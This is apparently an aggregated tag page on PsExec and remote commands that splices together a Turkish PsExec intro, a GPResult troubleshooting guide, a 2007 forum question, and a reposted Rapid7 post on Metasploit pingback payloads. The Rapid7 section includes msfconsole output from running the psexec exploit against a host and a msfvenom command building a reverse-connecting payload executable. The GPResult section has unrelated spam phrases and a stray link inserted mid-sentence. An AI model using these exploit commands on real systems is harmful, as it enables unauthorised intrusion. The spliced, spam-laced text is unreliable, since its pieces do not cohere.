#psexec remote cmd

[it-system-engineer]

PSExec Kullanımı

Merhaba, bu yazımda sizlere kısaca PSExec kullanımı konusundan basitçe bahsedeceğim. PsExec, Microsoft’un Sysinternals paketinin bir parçası olan bir araçtır ve ağ üzerinden uzaktaki bir bilgisayara komut satırı erişimi sağlar. Bu araç sayesinde sistem yöneticileri, uzaktan bilgisayarlarda program başlatma, servis yönetimi ve sistem komutlarını çalıştırma gibi işlemleri gerçekleştirebilirler.…

[andrewgalbraith-etc]

Originally forked from jdforsythe and worth a look for anyone looking for something similar to PSEXEC in the command prompt (CMD) to connect to a remote machine via Powershell.

[shinydragoncrown]

The User Does Not Have Rsop Data

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This works well only if that User executing the command has logged-in once at-least in the target computer. Else it throws below error. The user does not have RSOP Data. Method 2: Method 2 is to use Get-GPResultantSetOfPolicy PowerShell command-let which is detailed here. This command also works similar to Method 1 and requires User to login at-least once. The User Does Not Have Rsop Data; Rsop Data Not Available; Rsop Command Line; This is because the user specified has never logged onto the PC before. If you need to gather RSOP data without logging onto a PC, try using the GPMC management console and running the Group Policy Modelling Wizard instead. Group Policy – GPResult Examples. The user “domain user” does not have RSOP data. INFO: The user 'domain userid' does not have RSOP data. When I log on locally or via RDP to this server I can run gpresult. When I log off and rerun the script, the server I have logged on to is succesful, but the other servers I have not yet logged on to are not. I figured this would be caused by a lack of a userprofile on the local.

GPResult is a command-line utility for determining the resultant set of policy for a given user and/or computer. In other words, it shows you what Group Policy Objects have been applied and their settings. This is typically one of the first tools I go to when troubleshooting Group Policy from a client once basic connectivity has been confirmed (e.g. Network/DNS). The tool itself is very simple to use and I will run through some common examples below.

Rsop Windows 10

List GPOs Applied with Summary Data

/r Displays RSOP summary data

This is pretty useful when you simply want to see what GPOs have applied and in what order. It will also display summary data, such as last time group policy was applied, which Domain Controller it was applied from, the site, security groups and if the slow link threshold has been activated. If you are unsure if a GPO has been applied, this is a quick way of checking.

Here we see that 4 GPOs have applied to the Computer settings portion.

Export Rsop Data

If you don’t want to view both Computer and Users settings in the output you can request one or the other with the /scope flag. Rise of nations gold edition full download.

The output reads fairly well from within the command prompt, but if you need to export the output you could use either of the following.

Gpresult /r > gpresult.txt Export output to a text file Gpresult /r |clip Export output to Windows clipboard

I can’t see the Computer Settings?

If UAC is enabled, running GPResult without elevating the command prompt will only show you the user settings. If you want to see both user and computer settings, elevate the command prompt by either tapping the winkey+cmd then ctrl+shift+enter or right click on the command prompt and select run as administrator. If you elevate with an admin account different to the currently logged in user (common if the user does not have administrator rights), then you will receive an error message stating INFO: The user “domainuser” does not have RSOP data. This is because GPResult is using the elevated user’s context. To work around this, specify the standard user that you are troubleshooting.

Generate HTML Report

/h Saves the report in HTML format /f Forces GPresult to overwrite the file name specified with /h /user Specifies the user name for which the RSOP data is to be displayed

To get a more graphical view of what’s going on, you can generate a HTML report. This gives a detailed break down of each setting and the GPO from which it came. This view is particularly nice as you can show all and use ctrl+f to find a particular policy or setting.

Run GPResult on Remote Computer

/s Specifies the remote system to connect to

This allows you to run GPResult on a remote system, all of the above applies.

The following GPOs were not applied because they were filtered out

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You may see this for a few reasons. The first that the policy is empty in which case you’ll see Filtering: Not Applied (Empty), this is fairly self explanatory. The second is Filtering: Denied (Security), which typically boils down to the “Apply Group Policy” permission on the GPO. You may also see Filtering: Denied (Unknown Reason) Echo j12 cycle computer manual. which is similar to (Security) in that the “Read” permissions has been denied.

To review the last two examples, launch the GPMC (Group Policy Management Console). https://shinydragoncrown.tumblr.com/post/642641332888846336/how-to-create-windows-10-theme-pack. Find the offending GPO, and select Delegation- from there you may see an additional group or a single user or machine that has been added.

Click on advanced and review the permissions against the object. In this case you can see that the Seven computer object has been denied Apply Group Policy resulting in the Filtering: Denied (Security) message.

If in doubt, select Advanced -> Effective Access and enter the required computer or user object. If you scroll down to around halfway you’ll see the Apply Group Policy permission with either a green tick of a red cross against it. If deny read has been granted every permission will have a red cross next to it.

I hope this gives you the basics behind GPResult and some good real world example to aid in your Group Policy troubleshooting.

2007-08-22 12:00:00 UTC

Hello, I have written a little script that checks and reports what group policies have been applied to a number of servers. In short the scripts runs the following command foreach of the servers: gpresult /S <servername> /U <domainuserid /> /P <password> /SCOPE COMPUTER /USER <domainuserid> When I run the script (or gpresult manually) I get the error message: INFO: The user 'domainuserid' does not have RSOP data. When I log on locally or via RDP to this server I can run gpresult. When I log off and rerun the script, the server I have logged on to is succesful, but the other servers I have not yet logged on to are not. I figured this would be caused by a lack of a userprofile on the local computer, so I embeded a psexec -e (the one that creates a profile, not the newest that avoids creating a profile on the remote computer) command in the script to create a userprofile on the remote computer before running gpresult on it. This did however not work, a userprofile directory was created, but that was not adequate for gpresult to work correctly. The only difference with loging on locally or via RDP was that the user did not get its own registrykey under HKEY_USERS. It looks like gpresult wants to check the HKEY_USERS<SID of user> to check for user gpo's applied. Although I only want to check computer policies, the lack of possiblity to check user policies for the user is stopping me. Does anyone know how I can have the userprofile load correctly, including creating the HKEY_USERSusersid key from a commandline (preferably remote)? Is there any other way of getting the same info as gpresult /S <servername> /SCOPE COMPUTER ? Any help would be appreciated, instead of having to log on interactively at all my servers. Greetings, Jos Rossiau

[terabitweb]

Original Post from Rapid7 Author: Brendan Watters

This week, the Metasploit team added a new feature to Framework that improves safety and offers another avenue in MSF for novel evasion techniques. We’re pleased to introduce pingback payloads: a new, non-interactive payload type that provides users with confirmation of remote execution on a target—and absolutely nothing else. Typical Metasploit sessions are interactive; users can send commands, receive data, and otherwise engage with the target. Pingback payloads, conversely, provide limited “pingback” functionality that verifies target exploitability without loading a shell.

Here’s how it works: Upon payload creation, a pingback payload is assigned a Universally Unique Identifier (UUID). In the reverse payload use case, the payload attempts to send the UUID back to the attacker a predefined number of times at a predefined interval (e.g., a pingback once every 24 hours for two weeks, or 14 times). For bind payload use cases, the payload sets up a listener that provides the UUID when someone connects to the server. After completing this task, the payload exits. No further command and control is available, and no other information is exchanged. Nowhere is data read from the connection, and only the UUID is written.

Pingback functionality increases safety and stealth in a number of ways: If there’s important data on a target server, the pen tester never saw it. If someone intercepts or sniffs the packet, it is merely a 16-byte “random” value. If a bind payload is left running by accident after a pen testing engagement and someone else connects to the open port, all that other party will get is a UUID number before the listener disappears forever.

We are constantly thinking about how to make Metasploit sessions more secure without compromising on utility and creativity for Metasploit users. In this case, rather than “add” security, we have followed the principle of least privilege and removed the value to another attacker.

Pingbacks in action

Pingback payloads are interchangeable with most other Metasploit payloads. If a user wants to prove that a target host is vulnerable (e.g., to creds they’ve obtained), but that user does not need to establish a session, they can use PsExec just like a regular payload:

msf5 exploit(windows/smb/psexec) > run [*] PingbackUUID = be8c21f6654b4fb791198ebfb318f6ea [*] Writing UUID be8c21f6654b4fb791198ebfb318f6ea to database... [*] Started reverse TCP handler on 192.168.135.168:4567 [*] 192.168.134.120:445 - Connecting to the server... [*] 192.168.134.120:445 - Authenticating to 192.168.134.120:445 as user '[REDACTED]'... [*] 192.168.134.120:445 - Checking for System32WindowsPowerShellv1.0powershell.exe [*] 192.168.134.120:445 - PowerShell found [*] 192.168.134.120:445 - Selecting PowerShell target [*] 192.168.134.120:445 - Powershell command length: 2536 [*] 192.168.134.120:445 - Executing the payload... [*] 192.168.134.120:445 - Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.134.120[svcctl] ... [*] 192.168.134.120:445 - Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.134.120[svcctl] ... [*] 192.168.134.120:445 - Obtaining a service manager handle... [*] 192.168.134.120:445 - Creating the service... [+] 192.168.134.120:445 - Successfully created the service [*] 192.168.134.120:445 - Starting the service... [+] 192.168.134.120:445 - Service start timed out, OK if running a command or non-service executable... [*] 192.168.134.120:445 - Removing the service... [+] 192.168.134.120:445 - Successfully removed the service [*] 192.168.134.120:445 - Closing service handle... [*] Pingback session 1 opened (192.168.135.168:4567 -> 192.168.134.120:49162) at 2019-07-25 13:49:27 -0500 [*] Incoming UUID = be8c21f6654b4fb791198ebfb318f6ea [+] UUID identified (be8c21f6654b4fb791198ebfb318f6ea) [*] 192.168.134.120 - Pingback session 1 closed. Reason: User exit

In this case, we created a payload with a UUID (it was added to our database), sent it to the target, and set up a listener. When we got the callback, Framework established a session long enough to receive the UUID, then exited.

A second example utilizes the PingbackRetries option and the PingbackSleep option:

tmoose@ubuntu:~/rapid7/metasploit-framework$ ./msfvenom -p windows/x64/pingback_reverse_tcp -f exe -o test.exe LHOST=192.168.135.168 LPORT=4567 EXITFUNC=thread PINGBACKRETRIES=10 PINGBACKSLEEP=5

PingbackRetries denotes the number of times the payload will attempt to call back, while PingbackSleep defines the amount of time between callbacks.

msf5 exploit(multi/handler) > run [-] Handler failed to bind to 192.168.135.111:4567:- - [*] Started reverse TCP handler on 0.0.0.0:4567 [*] Pingback session 1 opened (192.168.135.168:4567 -> 192.168.134.120:49191) at 2019-07-25 15:35:35 -0500 [*] Incoming UUID = f87bc2a95d7f450ea54345cf48fd8829 [+] UUID identified (f87bc2a95d7f450ea54345cf48fd8829) [*] Pingback session 2 opened (192.168.135.168:4567 -> 192.168.134.120:49192) at 2019-07-25 15:35:40 -0500 [*] Incoming UUID = f87bc2a95d7f450ea54345cf48fd8829 [+] UUID identified (f87bc2a95d7f450ea54345cf48fd8829) [*] Pingback session 3 opened (192.168.135.168:4567 -> 192.168.134.120:49193) at 2019-07-25 15:35:45 -0500 [*] Incoming UUID = f87bc2a95d7f450ea54345cf48fd8829 [+] UUID identified (f87bc2a95d7f450ea54345cf48fd8829) [*] Pingback session 4 opened (192.168.135.168:4567 -> 192.168.134.120:49194) at 2019-07-25 15:35:50 -0500 [*] Incoming UUID = f87bc2a95d7f450ea54345cf48fd8829 [+] UUID identified (f87bc2a95d7f450ea54345cf48fd8829) [*] Pingback session 5 opened (192.168.135.168:4567 -> 192.168.134.120:49195) at 2019-07-25 15:35:55 -0500 [*] Incoming UUID = f87bc2a95d7f450ea54345cf48fd8829 [+] UUID identified (f87bc2a95d7f450ea54345cf48fd8829) [*] Pingback session 6 opened (192.168.135.168:4567 -> 192.168.134.120:49196) at 2019-07-25 15:36:00 -0500 [*] Incoming UUID = f87bc2a95d7f450ea54345cf48fd8829 [+] UUID identified (f87bc2a95d7f450ea54345cf48fd8829) [*] Pingback session 7 opened (192.168.135.168:4567 -> 192.168.134.120:49197) at 2019-07-25 15:36:05 -0500 [*] Incoming UUID = f87bc2a95d7f450ea54345cf48fd8829 [+] UUID identified (f87bc2a95d7f450ea54345cf48fd8829) [*] Pingback session 8 opened (192.168.135.168:4567 -> 192.168.134.120:49198) at 2019-07-25 15:36:10 -0500 [*] Incoming UUID = f87bc2a95d7f450ea54345cf48fd8829 [+] UUID identified (f87bc2a95d7f450ea54345cf48fd8829) [*] Pingback session 9 opened (192.168.135.168:4567 -> 192.168.134.120:49199) at 2019-07-25 15:36:15 -0500 [*] Incoming UUID = f87bc2a95d7f450ea54345cf48fd8829 [+] UUID identified (f87bc2a95d7f450ea54345cf48fd8829) [*] Pingback session 10 opened (192.168.135.168:4567 -> 192.168.134.120:49200) at 2019-07-25 15:36:20 -0500 [*] Incoming UUID = f87bc2a95d7f450ea54345cf48fd8829 [+] UUID identified (f87bc2a95d7f450ea54345cf48fd8829) [*] Pingback session 11 opened (192.168.135.168:4567 -> 192.168.134.120:49201) at 2019-07-25 15:36:25 -0500 [*] Incoming UUID = f87bc2a95d7f450ea54345cf48fd8829 [+] UUID identified (f87bc2a95d7f450ea54345cf48fd8829)

Notice that the source port changes each time. With Metasploit’s traditional TCP-based payloads, connections are often kept open until the user shuts down the payload. Pingback payloads, on the other hand, close the connection after sending the UUID, and reopen another connection when the user sends the UUID again. If the PingbackSleep value were 86,400 (24 hours), a pen tester could shut off their computer until the next day, restart the listener, and get the next callback as though nothing happened.

Currently, we have added 11 pingback payloads. The list below gives us a good starting set of coverage. More payloads are both possible and welcome!

cmd/unix/pingback_bind.rb cmd/unix/pingback_reverse.rb linux/x64/pingback_bind_tcp.rb linux/x64/pingback_reverse_tcp.rb python/pingback_bind_tcp.rb python/pingback_reverse_tcp.rb ruby/pingback_bind_tcp.rb ruby/pingback_reverse_tcp.rb windows/pingback_bind_tcp.rb windows/pingback_reverse_tcp.rb windows/x64/pingback_reverse_tcp.rb

One challenge we faced (and perhaps an opportunity for future work) is that this payload does not allow for post-exploitation cleanup. As such, it is incompatible with exploits placing files on the remote host. For example, the hp_autopass_license_traversal uses FileDropper to place a file on a remote host and then schedules it for cleanup. If a user attempts to use a pingback payload with the hp_autopass_license_traversal, it will fail:

msf5 exploit(windows/smb/psexec) > use exploit/windows/http/hp_autopass_license_traversal msf5 exploit(windows/http/hp_autopass_license_traversal) > set payload windows/pingback_reverse_tcp [-] The value specified for payload is not valid. msf5 exploit(windows/http/hp_autopass_license_traversal) >

As always, there are many features that would make pingbacks even better for the Framework user community, and we welcome contributions! One thing we are very excited about is that with only a 16-byte asynchronous response required, the command and control portion of pingbacks can be expanded to transports that we’ve not used previously. ICMP, ARP, hidden in existing packet slack space, and even email become possible transport mechanisms!

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Go to Source Author: Brendan Watters Introducing Pingback Payloads Original Post from Rapid7 Author: Brendan Watters This week, the Metasploit team added a new feature to Framework that improves safety and offers another avenue in MSF for novel evasion techniques.